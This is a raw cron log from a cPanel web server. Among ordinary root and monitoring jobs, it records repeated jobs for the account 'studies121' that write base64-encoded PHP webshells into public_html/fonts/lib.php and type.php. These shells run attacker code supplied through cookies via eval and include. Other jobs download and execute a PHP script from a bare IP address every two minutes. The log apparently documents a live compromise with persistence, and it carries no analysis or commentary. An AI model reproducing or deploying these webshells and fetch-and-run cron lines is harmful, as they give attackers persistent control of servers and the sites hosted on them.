Aug 31 14:53:01 ip-184-168-122-23 CROND[17607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:53:01 ip-184-168-122-23 CROND[17605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:54:01 ip-184-168-122-23 CROND[17723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:54:01 ip-184-168-122-23 CROND[17722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:54:01 ip-184-168-122-23 CROND[17724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:54:01 ip-184-168-122-23 CROND[17726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:54:01 ip-184-168-122-23 CROND[17725]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:55:01 ip-184-168-122-23 CROND[17820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:55:01 ip-184-168-122-23 CROND[17822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:55:01 ip-184-168-122-23 CROND[17823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:55:01 ip-184-168-122-23 CROND[17825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:55:01 ip-184-168-122-23 CROND[17824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:55:01 ip-184-168-122-23 CROND[17826]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:56:01 ip-184-168-122-23 CROND[17926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:56:01 ip-184-168-122-23 CROND[17929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:56:01 ip-184-168-122-23 CROND[17930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:56:01 ip-184-168-122-23 CROND[17931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:56:01 ip-184-168-122-23 CROND[17928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:57:01 ip-184-168-122-23 CROND[18016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:57:01 ip-184-168-122-23 CROND[18018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:57:01 ip-184-168-122-23 CROND[18019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:57:01 ip-184-168-122-23 CROND[18020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:58:01 ip-184-168-122-23 CROND[18216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:58:01 ip-184-168-122-23 CROND[18217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:58:01 ip-184-168-122-23 CROND[18218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:58:01 ip-184-168-122-23 CROND[18222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:58:01 ip-184-168-122-23 CROND[18223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:59:01 ip-184-168-122-23 CROND[18330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:59:01 ip-184-168-122-23 CROND[18331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:59:01 ip-184-168-122-23 CROND[18333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:59:01 ip-184-168-122-23 CROND[18334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:00:01 ip-184-168-122-23 CROND[18421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:00:01 ip-184-168-122-23 CROND[18422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 15:00:01 ip-184-168-122-23 CROND[18419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:00:01 ip-184-168-122-23 CROND[18420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:00:01 ip-184-168-122-23 CROND[18426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:00:01 ip-184-168-122-23 CROND[18427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:00:01 ip-184-168-122-23 CROND[18424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:00:01 ip-184-168-122-23 CROND[18425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:01:02 ip-184-168-122-23 CROND[18547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:01:02 ip-184-168-122-23 CROND[18548]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 15:01:02 ip-184-168-122-23 CROND[18551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:01:02 ip-184-168-122-23 CROND[18549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:01:02 ip-184-168-122-23 CROND[18552]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 15:01:02 ip-184-168-122-23 CROND[18553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18548]: starting 0anacron
Aug 31 15:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18568]: finished 0anacron
Aug 31 15:02:01 ip-184-168-122-23 CROND[18655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:02:01 ip-184-168-122-23 CROND[18661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:02:01 ip-184-168-122-23 CROND[18659]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:02:01 ip-184-168-122-23 CROND[18660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:02:01 ip-184-168-122-23 CROND[18658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:03:01 ip-184-168-122-23 CROND[18752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:03:01 ip-184-168-122-23 CROND[18753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:03:01 ip-184-168-122-23 CROND[18754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:03:01 ip-184-168-122-23 CROND[18755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:04:01 ip-184-168-122-23 CROND[18916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:04:01 ip-184-168-122-23 CROND[18918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:04:01 ip-184-168-122-23 CROND[18919]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:04:01 ip-184-168-122-23 CROND[18920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:04:01 ip-184-168-122-23 CROND[18923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:05:01 ip-184-168-122-23 CROND[19017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:05:01 ip-184-168-122-23 CROND[19020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
